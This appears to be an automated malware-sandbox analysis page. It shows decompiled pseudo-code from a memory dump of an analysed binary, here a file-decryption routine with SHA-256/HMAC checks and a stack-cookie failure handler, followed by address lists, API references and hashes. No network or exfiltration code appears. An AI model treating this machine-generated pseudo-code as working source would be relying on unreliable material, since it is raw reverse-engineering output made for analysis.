									__eax = __eax | 0xffffffff;
									__edi = __eax;
									_pop(__esi);
									_pop(__ebx);
									__ecx =  *(__ebp - 4);
									__ecx =  *(__ebp - 4) ^ __ebp;
									__eflags = __ecx;
									__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
									__esp = __ebp;
									_pop(__ebp);
									return __eax;
								} else {
									L48:
									__al =  *(__ebp - 0x14c);
									L49:
									__eflags = __al;
									if(__eflags == 0) {
										 *(__ebp - 0x3d4) = 1;
										goto L56;
									} else {
										_push("Error: Input file is corrupt (2).\n");
										goto L2;
									}
								}
							}
						} else {
							_push("Error reading input file ring:");
							__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
							__esp = __esp + 4;
							__eax = __eax | 0xffffffff;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__ecx =  *(__ebp - 4);
							__ecx =  *(__ebp - 4) ^ __ebp;
							__eflags = __ecx;
							__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
						}
					}
				} else {
					 *(__ebp - 0x3c8) = 0;
					while(1) {
						__esi =  *(__ebp - 0x3d8);
						__edx = __ebp - 0x98;
						__eax = E008795CE(__edx, 1, 0x10, __esi);
						__eflags = __eax - 0x10;
						if(__eax != 0x10) {
							break;
						}
						__eax =  *(__ebp - 0x98);
						__ecx =  *(__ebp - 0x94);
						__edx =  *(__ebp - 0x90);
						 *(__ebp - 0x34) =  *(__ebp - 0x98);
						__eax =  *(__ebp - 0x8c);
						 *(__ebp - 0x28) =  *(__ebp - 0x8c);
						__eax =  *(__ebp - 0x1b8);
						__esi = __eax;
						__ebx = 0x10;
						__esi = __eax & 0x0000003f;
						__edi = 0x40;
						__eax = __eax + 0x10;
						 *(__ebp - 0x30) =  *(__ebp - 0x94);
						__ecx = __ebp - 0x98;
						__edi = 0x40 - __esi;
						 *(__ebp - 0x2c) =  *(__ebp - 0x90);
						 *(__ebp - 0x3cc) = __ebp - 0x98;
						 *(__ebp - 0x1b8) = __eax;
						__eflags = __eax - 0x10;
						if(__eax < 0x10) {
							_t71 = __ebp - 0x1b4;
							 *_t71 =  *(__ebp - 0x1b4) + 1;
							__eflags =  *_t71;
						}
						__eflags = __esi;
						if(__esi == 0) {
							L17:
							__ecx =  *(__ebp - 0x3cc);
							__edx = __ebp + __esi - 0x190;
							__eax = E0087E790(__ebp + __esi - 0x190,  *(__ebp - 0x3cc), __ebx);
						} else {
							__eflags = __edi - __ebx;
							if(__edi > __ebx) {
								goto L17;
							} else {
								__edx = __ebp - 0x98;
								__ebp + __esi - 0x190 = E0087E790(__ebp + __esi - 0x190, __ebp - 0x98, __edi);
								__ecx = __ebp - 0x1b8;
								__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
								__ebx = __ebx - __edi;
								__edx = __ebp + __edi - 0x98;
								__esi = 0;
								 *(__ebp - 0x3cc) = __edx;
								__eflags = __ebx - 0x40;
								if(__ebx >= 0x40) {
									__eax = __ebx;
									__eax = __ebx >> 6;
									__eflags = __eax;
									 *(__ebp - 0x3c4) = __eax;
									__edi = __edx;
									do {
										__eax = __ebp - 0x1b8;
										__edi = E00875E90(__edi, __ebp - 0x1b8);
										__ebx = __ebx - 0x40;
										__edi = __edi + 0x40;
										_t83 = __ebp - 0x3c4;
										 *_t83 =  *(__ebp - 0x3c4) - 1;
										__eflags =  *_t83;
									} while ( *_t83 != 0);
									 *(__ebp - 0x3cc) = __edi;
								}
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L17;
								}
							}
						}
						__eax = __ebp - 0x98;
						__ecx = __ebp - 0x3c0;
						__ecx = __ebp - 0x98;
						__eax = E008724A0(__ebp - 0x98, __ebp - 0x3c0, __eax);
						__esi =  *(__ebp - 0x3c8);
						__eax = 0;
						__eflags = 0;
						do {
							__edx =  *(__ebp + __eax - 0x14) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x98);
							__ecx = __ebp + __eax - 0x147;
							__ecx = __ebp + __eax - 0x147 + __esi;
							 *(__ecx - 1) = __dl;
							__edx =  *(__ebp + __eax - 0x97) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x13);
							__eax = __eax + 4;
							 *__ecx = __dl;
							__edx =  *(__ebp + __eax - 0x9a) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x16);
							 *(__ecx + 1) = __dl;
							__edx =  *(__ebp + __eax - 0x99) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x15);
							 *(__ecx + 2) = __dl;
							__eflags = __eax - 0x10;
						} while (__eax < 0x10);
						__eax =  *(__ebp - 0x34);
						__ecx =  *(__ebp - 0x30);
						__edx =  *(__ebp - 0x2c);
						__esi = __esi + 0x10;
						 *(__ebp - 0x14) =  *(__ebp - 0x34);
						__eax =  *(__ebp - 0x28);
						 *(__ebp - 0x10) =  *(__ebp - 0x30);
						 *(__ebp - 0xc) =  *(__ebp - 0x2c);
						 *(__ebp - 8) =  *(__ebp - 0x28);
						 *(__ebp - 0x3c8) = __esi;
						__eflags = __esi - 0x30;
						if(__esi < 0x30) {
							continue;
						} else {
							__ecx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							__eax = E00878680(__ebp - 0x1b8, __ebp - 0x54);
							__edx = __ebp - 0x1b8;
							__edi = 0x40;
							__eax = __ebp - 0xd8;
							 *(__ebp - 0x1b4) = 0;
							 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
							 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
							 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
							 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
							 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
							 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
							 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
							 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
							 *(__ebp - 0x1b8) = 0x40;
							E00875E90(__ebp - 0xd8, __ebp - 0x1b8) = __ebp - 0x54;
							 *(__ebp - 0x3cc) = __ebp - 0x54;
							__eax =  *(__ebp - 0x1b8);
							_t139 = __edi - 0x20; // 0x20
							__ebx = _t139;
							__esi = __eax;
							__esi = __eax & 0x0000003f;
							__eax = __eax + __ebx;
							__edi = 0x40 - __esi;
							 *(__ebp - 0x1b8) = __eax;
							__eflags = __eax - __ebx;
							if(__eax < __ebx) {
								_t141 = __ebp - 0x1b4;
								 *_t141 =  *(__ebp - 0x1b4) + 1;
								__eflags =  *_t141;
							}
							__eflags = __esi;
							if(__esi == 0) {
								L30:
								__eax =  *(__ebp - 0x3cc);
								__ecx = __ebp + __esi - 0x190;
								__eax = E0087E790(__ebp + __esi - 0x190,  *(__ebp - 0x3cc), __ebx);
							} else {
								__eflags = __edi - __ebx;
								if(__edi > __ebx) {
									goto L30;
								} else {
									__ecx = __ebp - 0x54;
									__edx = __ebp + __esi - 0x190;
									E0087E790(__ebp + __esi - 0x190, __ebp - 0x54, __edi) = __ebp - 0x1b8;
									__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
									__ebx = __ebx - __edi;
									__ecx = __ebp + __edi - 0x54;
									__esi = 0;
									 *(__ebp - 0x3cc) = __ecx;
									__eflags = __ebx - 0x40;
									if(__ebx >= 0x40) {
										__ebx = __ebx >> 6;
										 *(__ebp - 0x3c4) = __ebx >> 6;
										__edi = __ecx;
										do {
											__edx = __ebp - 0x1b8;
											__edi = E00875E90(__edi, __ebp - 0x1b8);
											__ebx = __ebx - 0x40;
											__edi = __edi + 0x40;
											_t153 = __ebp - 0x3c4;
											 *_t153 =  *(__ebp - 0x3c4) - 1;
											__eflags =  *_t153;
										} while ( *_t153 != 0);
										 *(__ebp - 0x3cc) = __edi;
									}
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L30;
									}
								}
							}
							__edx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							__eax = E00878680(__ebp - 0x1b8, __ebp - 0x54);
							__esi =  *(__ebp - 0x3d8);
							__eax = __ebp - 0x98;
							__eax = E008795CE(__ebp - 0x98, 1, 0x20, __esi);
							__eflags = __eax - 0x20;
							if(__eax == 0x20) {
								__eax = 0x20;
								__ecx = 0;
								__eflags = 0;
								while(1) {
									__edx =  *(__ebp + __ecx - 0x54);
									__eflags =  *(__ebp + __ecx - 0x54) -  *((intOrPtr*)(__ebp + __ecx - 0x98));
									if(__eflags != 0) {
										break;
									}
									__eax = __eax - 4;
									__ecx = __ecx + 4;
									__eflags = __eax - 4;
									if(__eax >= 4) {
										continue;
									} else {
										__ecx =  *(__ebp - 0x144);
										__edx =  *(__ebp - 0x140);
										__eax =  *(__ebp - 0x148);
										 *(__ebp - 0x10) =  *(__ebp - 0x144);
										__ecx = __ebp - 0x138;
										 *(__ebp - 0xc) =  *(__ebp - 0x140);
										 *(__ebp - 0x14) =  *(__ebp - 0x148);
										__eax =  *(__ebp - 0x13c);
										__edx = __ebp - 0x3c0;
										 *(__ebp - 8) =  *(__ebp - 0x13c);
										E00871210(__ebp - 0x3c0, __ebp - 0x138) = __ebp - 0x118;
										__eax = E0087E710(__ebp - 0x118, 0x36, 0x40);
										__ecx = __ebp - 0xd8;
										__eax = E0087E710(__ebp - 0xd8, 0x5c, 0x40);
										__eax = 0;
										do {
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x138));
											 *(__ebp + __eax - 0x118) =  *(__ebp + __eax - 0x118) ^ __cl;
											 *(__ebp + __eax - 0xd8) =  *(__ebp + __eax - 0xd8) ^ __cl;
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x137));
											 *(__ebp + __eax - 0x117) =  *(__ebp + __eax - 0x117) ^ __cl;
											 *(__ebp + __eax - 0xd7) =  *(__ebp + __eax - 0xd7) ^ __cl;
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x136));
											 *(__ebp + __eax - 0x116) =  *(__ebp + __eax - 0x116) ^ __cl;
											 *(__ebp + __eax - 0xd6) =  *(__ebp + __eax - 0xd6) ^ __cl;
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x135));
											 *(__ebp + __eax - 0x115) =  *(__ebp + __eax - 0x115) ^ __cl;
											 *(__ebp + __eax - 0xd5) =  *(__ebp + __eax - 0xd5) ^ __cl;
											__eax = __eax + 4;
											__eflags = __eax - 0x20;
										} while (__eax < 0x20);
										__edx = __ebp - 0x1b8;
										__eax = __ebp - 0x118;
										 *(__ebp - 0x1b4) = 0;
										 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
										 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
										 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
										 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
										 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
										 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
										 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
										 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
										 *(__ebp - 0x1b8) = 0x40;
										__eax = E00875E90(__ebp - 0x118, __ebp - 0x1b8);
										__ebx = __esi;
										goto L42;
									}
									goto L124;
								}
								L45:
								_push("Error: Message has been altered or password is incorrect\n");
								goto L2;
							} else {
								__eflags = E00878B69(__esi);
								if(__eflags != 0) {
									L1:
									_push("Error: Input file is too short.\n");
									L2:
									_push(E00878DA3() + 0x40);
									_t423 = E008795EB(_t426, _t431, _t433, _t440);
									_pop(_t432);
									_pop(_t434);
									_pop(_t427);
									return E00878AD6(_t423 | 0xffffffff, _t427,  *(_t435 - 4) ^ _t435, _t430, _t432, _t434);
								} else {
									_push("Error reading input file digest:");
									__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eax = __eax | 0xffffffff;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									__ecx =  *(__ebp - 4);
									__ecx =  *(__ebp - 4) ^ __ebp;
									__eflags = __ecx;
									__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
									__esp = __ebp;
									_pop(__ebp);
									return __eax;
								}
							}
						}
						goto L124;
					}
					__eflags = E00878B69(__esi);
					if(__eflags != 0) {
						goto L1;
					} else {
						_push("Error reading input file IV and key:");
						__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
						__esp = __esp + 4;
						__eax = __eax | 0xffffffff;
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__ecx =  *(__ebp - 4);
						__ecx =  *(__ebp - 4) ^ __ebp;
						__eflags = __ecx;
						__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					}
				}
				L124:
			}

0x00874680
0x00874680
0x00874684
0x0087468b
0x00874692
0x00874696
0x0087469d
0x008746a4
0x008746a8
0x008746af
0x008746b6
0x008746ba
0x008746c1
0x008746c8
0x008746cb
0x008746cb
0x008746d0
0x008746d7
0x008746dd
0x008746e7
0x008746f1
0x008746fb
0x00874705
0x0087470f
0x00874719
0x00874723
0x0087472d
0x00874737
0x00874741
0x00874749
0x00874750
0x00874c47
0x00874c4a
0x00874c58
0x00874c5d
0x00874c60
0x00874cef
0x00874cef
0x00874cf6
0x00874cf9
0x00874cff
0x00874d05
0x00874f98
0x00874f98
0x00874f9c
0x00874fa7
0x00874fae
0x00874fb3
0x00874fb9
0x00874fc3
0x00874fcd
0x00874fd7
0x00874fe1
0x00874feb
0x00874ff5
0x00874fff
0x00875009
0x00875013
0x00875019
0x0087501e
0x00875024
0x00875026
0x00875029
0x0087502f
0x00875032
0x00875034
0x0087503e
0x00875044
0x0087504a
0x0087504d
0x0087504f
0x0087504f
0x0087504f
0x0087504f
0x00875055
0x00875057
0x008750e7
0x008750e7
0x008750ed
0x008750fd
0x0087505d
0x0087505d
0x00875060
0x00000000
0x00875066
0x00875067
0x00875073
0x00875078
0x00875085
0x0087508a
0x0087508f
0x00875094
0x00875098
0x0087509a
0x008750a0
0x008750a6
0x008750a9
0x008750ab
0x008750ab
0x008750ae
0x008750b4
0x008750b6
0x008750b6
0x008750bf
0x008750c4
0x008750ce
0x008750d1
0x008750d1
0x008750d1
0x008750d1
0x008750d9
0x008750d9
0x008750df
0x008750e5
0x00000000
0x00000000
0x008750e5
0x00875060
0x00875105
0x00875109
0x0087510f
0x00875114
0x0087511d
0x0087511f
0x008751aa
0x008751ad
0x008751b0
0x008751b3
0x008751b6
0x008751bd
0x008751c0
0x008751c3
0x008751c7
0x008751ca
0x008751cd
0x008751d0
0x008751d2
0x008751d4
0x008751d4
0x008751da
0x008751dc
0x008751df
0x008751e2
0x008751e5
0x008751e8
0x008751eb
0x008751ee
0x008751f1
0x008751f4
0x008751f7
0x008751f9
0x008751fb
0x008751fb
0x00875201
0x00875203
0x00875125
0x00875125
0x00875127
0x0087512a
0x0087512d
0x00875130
0x00875133
0x00875136
0x00875139
0x0087513c
0x0087513f
0x00875142
0x00875144
0x00875146
0x00875146
0x0087514c
0x0087514e
0x00875151
0x00875154
0x00875157
0x0087515a
0x0087515d
0x00875160
0x00875160
0x00875206
0x0087520b
0x0087520b
0x00875210
0x00875210
0x00875214
0x00875218
0x00000000
0x00000000
0x0087521a
0x0087521d
0x00875220
0x00875223
0x00000000
0x00875225
0x00875225
0x0087522b
0x0087522c
0x00875231
0x00875234
0x00875236
0x00875254
0x00875256
0x00875257
0x00875258
0x00875259
0x0087525c
0x0087525c
0x0087525e
0x00875263
0x00875265
0x00875266
0x00875238
0x00875238
0x00000000
0x00875238
0x00875236
0x00000000
0x00875223
0x00875242
0x00875244
0x00000000
0x0087524a
0x0087524a
0x0087524a
0x00000000
0x00874d0b
0x00874d10
0x00874d10
0x00874d13
0x00874d19
0x00874d1b
0x00874d21
0x00874d21
0x00874d27
0x00874d2d
0x00874d3e
0x00874d43
0x00874d46
0x00874db2
0x00000000
0x00874d48
0x00874d51
0x00874d53
0x00875168
0x0087516d
0x00875172
0x00875175
0x00875178
0x00875179
0x0087517a
0x0087517b
0x0087517e
0x0087517e
0x00875180
0x00875185
0x00875187
0x00875188
0x00874d59
0x00874d59
0x00874d5f
0x00874d61
0x00874d72
0x00874d75
0x00000000
0x00874d77
0x00874d77
0x00874d7a
0x00000000
0x00874d7c
0x00874d7c
0x00874d7f
0x00874d82
0x00874d84
0x00874d98
0x00874d9e
0x00874d9e
0x00874da0
0x00000000
0x00874d86
0x00874d88
0x00874d8a
0x00874d90
0x00874d90
0x00000000
0x00874d84
0x00874d7a
0x00874d63
0x00874d63
0x00874d65
0x00874da6
0x00874da6
0x00874db8
0x00874db8
0x00874dba
0x00874dc6
0x00874dc6
0x00874dc6
0x00000000
0x00874dbc
0x00874dbc
0x00874dbe
0x00000000
0x00874dc4
0x00874dcd
0x00874dcd
0x00874dcf
0x00874dd2
0x00874dd5
0x00874dd8
0x00874ddb
0x00874dde
0x00874de4
0x00874de6
0x00874de9
0x00874dee
0x00874df1
0x00874df3
0x00874df6
0x00874df9
0x00874e03
0x00874e09
0x00874e0f
0x00874e12
0x00874e14
0x00874e14
0x00874e14
0x00874e14
0x00874e1a
0x00874e1c
0x00874ea1
0x00874ea1
0x00874ea7
0x00874eb7
0x00874e22
0x00874e22
0x00874e25
0x00000000
0x00874e27
0x00874e28
0x00874e31
0x00874e36
0x00874e43
0x00874e48
0x00874e4d
0x00874e4f
0x00874e54
0x00874e56
0x00874e5c
0x00874e62
0x00874e65
0x00874e67
0x00874e67
0x00874e6a
0x00874e70
0x00874e70
0x00874e79
0x00874e7e
0x00874e88
0x00874e8b
0x00874e8b
0x00874e8b
0x00874e8b
0x00874e93
0x00874e93
0x00874e99
0x00874e9f
0x00000000
0x00000000
0x00874e9f
0x00874e25
0x00874ebf
0x00874ec7
0x00874ec9
0x00874ece
0x00874ed3
0x00874ed5
0x00874ed9
0x00874edd
0x00874ee5
0x00874eeb
0x00874eed
0x00874ef3
0x00874f00
0x00874f00
0x00874f04
0x00874f06
0x00874f0a
0x00874f13
0x00874f17
0x00874f1a
0x00874f20
0x00874f24
0x00874f27
0x00874f2a
0x00874f2a
0x00874f2a
0x00874f2d
0x00874f34
0x00874f37
0x00874f3a
0x00874f3d
0x00874f40
0x00874f43
0x00874f46
0x00874f49
0x00874f4c
0x00874f5b
0x00874f5b
0x00874f4e
0x00874f4e
0x00874f54
0x00874f57
0x00874f59
0x00000000
0x00000000
0x00874f59
0x00874f60
0x00874f66
0x00874f67
0x00874f68
0x00874f6a
0x00874f6b
0x00874f70
0x00874f73
0x00874f75
0x00875189
0x0087518e
0x00875193
0x00875196
0x00875199
0x0087519a
0x0087519b
0x0087519c
0x0087519f
0x0087519f
0x008751a1
0x008751a6
0x008751a8
0x008751a9
0x00874f7b
0x00874f7b
0x00874f7e
0x00874f81
0x00874f83
0x00874f85
0x00874f85
0x00000000
0x00874f83
0x00874f75
0x00874dbe
0x00874d67
0x00874d67
0x00874d67
0x00874d68
0x00000000
0x00874d68
0x00874d65
0x00874d61
0x00874d53
0x00000000
0x00874f8b
0x00874f8b
0x00874f8b
0x00000000
0x00874d10
0x00874c66
0x00874c6f
0x00874c71
0x00874c9e
0x00874ca4
0x00874ca6
0x00874cc1
0x00874cc3
0x00000000
0x00874cc5
0x00874cc5
0x00874cc8
0x00874cd5
0x00874cdb
0x00874cdd
0x00000000
0x00000000
0x00000000
0x00000000
0x00874cc8
0x00874ca8
0x00874ca8
0x00874cab
0x00874cca
0x00874cca
0x00874ccb
0x008744fe
0x008744fe
0x00874507
0x0087450c
0x0087450f
0x00874512
0x00874513
0x00874514
0x00874515
0x00874518
0x00874518
0x0087451a
0x0087451f
0x00874521
0x00874522
0x00874cad
0x00874cad
0x00874cad
0x00874cb3
0x00874cb3
0x00874cb5
0x00874ce5
0x00000000
0x00874cb7
0x00874cb7
0x00000000
0x00874cb7
0x00874cb5
0x00874cab
0x00874c73
0x00874c73
0x00874c78
0x00874c7d
0x00874c80
0x00874c83
0x00874c84
0x00874c85
0x00874c86
0x00874c89
0x00874c89
0x00874c8b
0x00874c90
0x00874c92
0x00874c93
0x00874c93
0x00874c71
0x00874756
0x00874756
0x00874760
0x00874760
0x00874769
0x00874772
0x0087477a
0x0087477d
0x00000000
0x00000000
0x00874783
0x00874789
0x0087478f
0x00874795
0x00874798
0x0087479e
0x008747a1
0x008747a7
0x008747a9
0x008747ae
0x008747b1
0x008747b6
0x008747b8
0x008747bb
0x008747c1
0x008747c3
0x008747c6
0x008747cc
0x008747d2
0x008747d4
0x008747d6
0x008747d6
0x008747d6
0x008747d6
0x008747dc
0x008747de
0x0087485a
0x0087485a
0x00874862
0x0087486a
0x008747e0
0x008747e0
0x008747e2
0x00000000
0x008747e4
0x008747e5
0x008747f4
0x008747f9
0x00874806
0x0087480b
0x00874810
0x00874817
0x00874819
0x0087481f
0x00874822
0x00874824
0x00874826
0x00874826
0x00874829
0x0087482f
0x00874831
0x00874831
0x0087483a
0x00874842
0x00874845
0x00874848
0x00874848
0x00874848
0x00874848
0x00874850
0x00874850
0x00874856
0x00874858
0x00000000
0x00000000
0x00874858
0x008747e2
0x00874872
0x00874879
0x00874880
0x00874882
0x00874887
0x00874890
0x00874890
0x00874892
0x00874892
0x00874897
0x0087489e
0x008748a5
0x008748a7
0x008748aa
0x008748b2
0x008748b6
0x008748b9
0x008748bb
0x008748c3
0x008748c7
0x008748ca
0x008748d2
0x008748d6
0x008748d9
0x008748d9
0x008748de
0x008748e1
0x008748e4
0x008748e7
0x008748ea
0x008748ed
0x008748f0
0x008748f3
0x008748f6
0x008748f9
0x008748ff
0x00874902
0x00000000
0x00874908
0x00874908
0x0087490c
0x00874912
0x00874917
0x0087491d
0x00874923
0x00874929
0x00874933
0x0087493d
0x00874947
0x00874951
0x0087495b
0x00874965
0x0087496f
0x00874979
0x00874983
0x0087498e
0x00874991
0x00874997
0x0087499d
0x0087499d
0x008749a0
0x008749a2
0x008749a5
0x008749aa
0x008749ac
0x008749b2
0x008749b4
0x008749b6
0x008749b6
0x008749b6
0x008749b6
0x008749bc
0x008749be
0x00874a39
0x00874a39
0x00874a41
0x00874a49
0x008749c0
0x008749c0
0x008749c2
0x00000000
0x008749c4
0x008749c5
0x008749c9
0x008749d6
0x008749e3
0x008749e8
0x008749ed
0x008749f1
0x008749f3
0x008749f9
0x008749fc
0x00874a00
0x00874a03
0x00874a09
0x00874a10
0x00874a10
0x00874a19
0x00874a21
0x00874a24
0x00874a27
0x00874a27
0x00874a27
0x00874a27
0x00874a2f
0x00874a2f
0x00874a35
0x00874a37
0x00000000
0x00000000
0x00874a37
0x008749c2
0x00874a51
0x00874a55
0x00874a5b
0x00874a60
0x00874a69
0x00874a72
0x00874a7a
0x00874a7d
0x00874ae3
0x00874ae8
0x00874ae8
0x00874af0
0x00874af0
0x00874af4
0x00874afb
0x00000000
0x00000000
0x00874b01
0x00874b04
0x00874b07
0x00874b0a
0x00000000
0x00874b0c
0x00874b0c
0x00874b12
0x00874b18
0x00874b1e
0x00874b21
0x00874b27
0x00874b2a
0x00874b2d
0x00874b34
0x00874b3b
0x00874b45
0x00874b4e
0x00874b55
0x00874b5e
0x00874b66
0x00874b70
0x00874b70
0x00874b77
0x00874b7e
0x00874b85
0x00874b8c
0x00874b93
0x00874b9a
0x00874ba1
0x00874ba8
0x00874baf
0x00874bb6
0x00874bbd
0x00874bc4
0x00874bc7
0x00874bc7
0x00874bcc
0x00874bd3
0x00874bd9
0x00874be3
0x00874bed
0x00874bf7
0x00874c01
0x00874c0b
0x00874c15
0x00874c1f
0x00874c29
0x00874c33
0x00874c3d
0x00874c45
0x00000000
0x00874c45
0x00000000
0x00874b0a
0x00874c94
0x00874c94
0x00000000
0x00874a7f
0x00874a88
0x00874a8a
0x0087441d
0x0087441d
0x00874422
0x0087442a
0x0087442b
0x00874436
0x00874437
0x00874438
0x00874446
0x00874a90
0x00874a90
0x00874a95
0x00874a9a
0x00874a9d
0x00874aa0
0x00874aa1
0x00874aa2
0x00874aa3
0x00874aa6
0x00874aa6
0x00874aa8
0x00874aad
0x00874aaf
0x00874ab0
0x00874ab0
0x00874a8a
0x00874a7d
0x00000000
0x00874902
0x00874aba
0x00874abc
0x00000000
0x00874ac2
0x00874ac2
0x00874ac7
0x00874acc
0x00874acf
0x00874ad2
0x00874ad3
0x00874ad4
0x00874ad5
0x00874ad8
0x00874ad8
0x00874ada
0x00874adf
0x00874ae1
0x00874ae2
0x00874ae2
0x00874abc
0x00000000

APIs

__fread_nolock.LIBCMT ref: 00874772
_memmove.LIBCMT ref: 008747F4
_memmove.LIBCMT ref: 0087486A
_memmove.LIBCMT ref: 008749D1
_memmove.LIBCMT ref: 00874A49
__fread_nolock.LIBCMT ref: 00874A72

Strings

gj, xrefs: 00874933
@, xrefs: 00874737
Error reading input file digest:, xrefs: 00874A90

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove$__fread_nolock
String ID: @$Error reading input file digest:$gj
API String ID: 1150752121-1341029791
Opcode ID: 9bf83d5e77fcca4b22e34cb7787e1224853d78891802ec9db721f4a245859c73
Instruction ID: 0149d90627647bd6b1c53967837f18f58218b6d075a9a17c1cedeaeeb944ead8
Opcode Fuzzy Hash: 9bf83d5e77fcca4b22e34cb7787e1224853d78891802ec9db721f4a245859c73
Instruction Fuzzy Hash: C8B17EB29112688BDB65DFA8D880BDDBBB4BF19304F5494E9D80DE7245DB308B88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00878AD6, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00878AD6(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x888288; // 0x8987487c
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x889330 = _t6;
				 *0x88932c = _t22;
				 *0x889328 = _t25;
				 *0x889324 = _t21;
				 *0x889320 = _t27;
				 *0x88931c = _t26;
				 *0x889348 = ss;
				 *0x88933c = cs;
				 *0x889318 = ds;
				 *0x889314 = es;
				 *0x889310 = fs;
				 *0x88930c = gs;
				asm("pushfd");
				_pop( *0x889340);
				 *0x889334 =  *_t31;
				 *0x889338 = _v0;
				 *0x889344 =  &_a4;
				 *0x889280 = 0x10001;
				_t11 =  *0x889338; // 0x0
				 *0x889234 = _t11;
				 *0x889228 = 0xc0000409;
				 *0x88922c = 1;
				_t12 =  *0x888288; // 0x8987487c
				_v812 = _t12;
				_t13 =  *0x88828c; // 0x7678b783
				_v808 = _t13;
				 *0x889278 = IsDebuggerPresent();
				_push(1);
				E008802EF(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x8841d0);
				if( *0x889278 == 0) {
					_push(1);
					E008802EF(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00878ad6
0x00878ad6
0x00878ad6
0x00878ad6
0x00878ad6
0x00878ad6
0x00878ad6
0x00878adc
0x00878ade
0x00878ade
0x0087a6d2
0x0087a6d7
0x0087a6dd
0x0087a6e3
0x0087a6e9
0x0087a6ef
0x0087a6f5
0x0087a6fc
0x0087a703
0x0087a70a
0x0087a711
0x0087a718
0x0087a71f
0x0087a720
0x0087a729
0x0087a731
0x0087a739
0x0087a744
0x0087a74e
0x0087a753
0x0087a758
0x0087a762
0x0087a76c
0x0087a771
0x0087a777
0x0087a77c
0x0087a788
0x0087a78d
0x0087a78f
0x0087a797
0x0087a7a2
0x0087a7af
0x0087a7b1
0x0087a7b3
0x0087a7b8
0x0087a7cc

APIs

IsDebuggerPresent.KERNEL32 ref: 0087A782
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0087A797
UnhandledExceptionFilter.KERNEL32(008841D0), ref: 0087A7A2
GetCurrentProcess.KERNEL32(C0000409), ref: 0087A7BE
TerminateProcess.KERNEL32(00000000), ref: 0087A7C5

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
